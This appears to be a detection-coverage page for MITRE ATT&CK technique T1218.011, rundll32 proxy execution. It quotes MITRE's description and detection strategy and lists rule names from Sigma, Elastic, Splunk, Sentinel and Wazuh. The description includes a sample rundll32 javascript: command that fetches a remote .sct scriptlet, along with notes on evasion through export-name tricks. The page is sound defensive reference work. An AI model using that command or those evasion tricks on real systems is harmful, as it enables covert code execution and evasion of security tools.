Cross-source coverage
T1218.011 / ATT&CK
System Binary Proxy Execution: Rundll32
From MITRE ATT&CK 19.2
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.
Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
- Tactics
- Stealth
- Platforms
- Windows
- Telemetry
-
WinEventLog:Sysmon
How MITRE says to detect it DET0475
Detection Strategy for T1218.011 Rundll32 Abuse
Windows Analytic 1308
Detects rundll32.exe invoked with atypical arguments (.dll,.cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching.sct or.hta).
WinEventLog:SysmonEventCode=1WinEventLog:SysmonEventCode=7WinEventLog:SysmonEventCode=11WinEventLog:SysmonEventCode=3, 22
SigmaHQ/sigma
43 rules| Detection | Severity | Format |
|---|---|---|
| APT29 2018 Phishing Campaign CommandLine Indicators | Critical | Sigma |
| APT29 2018 Phishing Campaign File Indicators | Critical | Sigma |
| Equation Group DLL_U Export Function Load | Critical | Sigma |
| EvilNum APT Golden Chickens Deployment Via OCX Files | Critical | Sigma |
| HackTool - F-Secure C3 Load by Rundll32 | Critical | Sigma |
| NotPetya Ransomware Activity | Critical | Sigma |
| Potential Emotet Rundll32 Execution | Critical | Sigma |
| ZxShell Malware | Critical | Sigma |
| Bad Opsec Defaults Sacrificial Processes With Improper Arguments | High | Sigma |
| CobaltStrike Load by Rundll32 | High | Sigma |
+ 33 more from SigmaHQ/sigma → showing the 10 highest-severity
elastic/protections-artifacts
28 rules| Detection | Severity | Format |
|---|---|---|
| BCDEdit Safe Mode Command Execution | Undefined | Elastic TOML |
| Binary Proxy Execution via Rundll32 | Undefined | Elastic TOML |
| Command Shell Activity Started via RunDLL32 | Undefined | Elastic TOML |
| Evasion via Device Credential Deployment | Undefined | Elastic TOML |
| Execution of Commonly Abused Utilities via Explorer Trampoline | Undefined | Elastic TOML |
| Execution via a Suspicious WMI Client | Undefined | Elastic TOML |
| Execution via MsiExec DownloadAndExecute CustomAction | Undefined | Elastic TOML |
| Execution via Outlook Application COM Object | Undefined | Elastic TOML |
| Execution via Program Compatibility Assistant | Undefined | Elastic TOML |
| ImageLoad of a File dropped via SMB | Undefined | Elastic TOML |
+ 18 more from elastic/protections-artifacts → showing the 10 highest-severity
elastic/detection-rules
27 rules| Detection | Severity | Format |
|---|---|---|
| Potential Credential Access via Renamed COM+ Services DLL | High | Elastic TOML |
| Potential Credential Access via Windows Utilities | High | Elastic TOML |
| Potential Local NTLM Relay via HTTP | High | Elastic TOML |
| Script Execution via Microsoft HTML Application | High | Elastic TOML |
| Suspicious Microsoft HTML Application Child Process | High | Elastic TOML |
| Suspicious SolarWinds Web Help Desk Java Module Load or Child Process | High | Elastic TOML |
| Unusual Child Processes of RunDLL32 | High | Elastic TOML |
| Windows Server Update Service Spawning Suspicious Processes | High | Elastic TOML |
| Execution from Unusual Directory - Command Line | Medium | Elastic TOML |
| Execution of Persistent Suspicious Program | Medium | Elastic TOML |
+ 17 more from elastic/detection-rules → showing the 10 highest-severity
splunk/security_content
18 rules| Detection | Severity | Format |
|---|---|---|
| Rundll32 Control RunDLL Hunt | Undefined | SPL |
| Rundll32 Control RunDLL World Writable Directory | Undefined | SPL |
| Rundll32 DNSQuery | Undefined | SPL |
| Rundll32 LockWorkStation | Undefined | SPL |
| Rundll32 Process Creating Exe Dll Files | Undefined | SPL |
| Rundll32 with no Command Line Arguments with Network | Undefined | SPL |
| RunDLL Loading DLL By Ordinal | Undefined | SPL |
| Suspicious IcedID Rundll32 Cmdline | Undefined | SPL |
| Suspicious Rundll32 dllregisterserver | Undefined | SPL |
| Suspicious Rundll32 no Command Line Arguments | Undefined | SPL |
+ 8 more from splunk/security_content → showing the 10 highest-severity
Azure/Azure-Sentinel
4 rules| Detection | Severity | Format |
|---|---|---|
| regsvr32-rundll32-abnormal-image-loads | Undefined | KQL |
| regsvr32-rundll32-image-loads-abnormal-extension | Undefined | KQL |
| regsvr32-rundll32-with-anomalous-parent-process | Undefined | KQL |
| Rundll32 (LOLBins and LOLScripts, Normalized Process Events) | Undefined | KQL |
Wazuh Core Ruleset
2 rules| Detection | Severity | Format |
|---|---|---|
| Rundll32 executing file with suspicious extension | Critical | Wazuh XML |
| Rundll32 executed from non-standard directory, may be related to link execution from mounted ISO file | High | Wazuh XML |